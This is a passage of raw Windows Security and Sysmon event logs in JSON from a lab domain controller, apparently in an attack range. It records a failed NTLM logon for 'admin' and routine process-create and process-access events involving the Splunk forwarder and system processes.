11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221500,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60885\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60885","EventReceivedTime":"2020-08-07 11:50:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.426\r\nProcessGuid: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nProcessId: 3720\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.426","ProcessGuid":"{90617006-3FEC-5F2D-0000-00104C6A0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEC-5F2D-0000-00104C6A0300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEC-5F2D-0000-00104C6A0300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:04.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:04.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 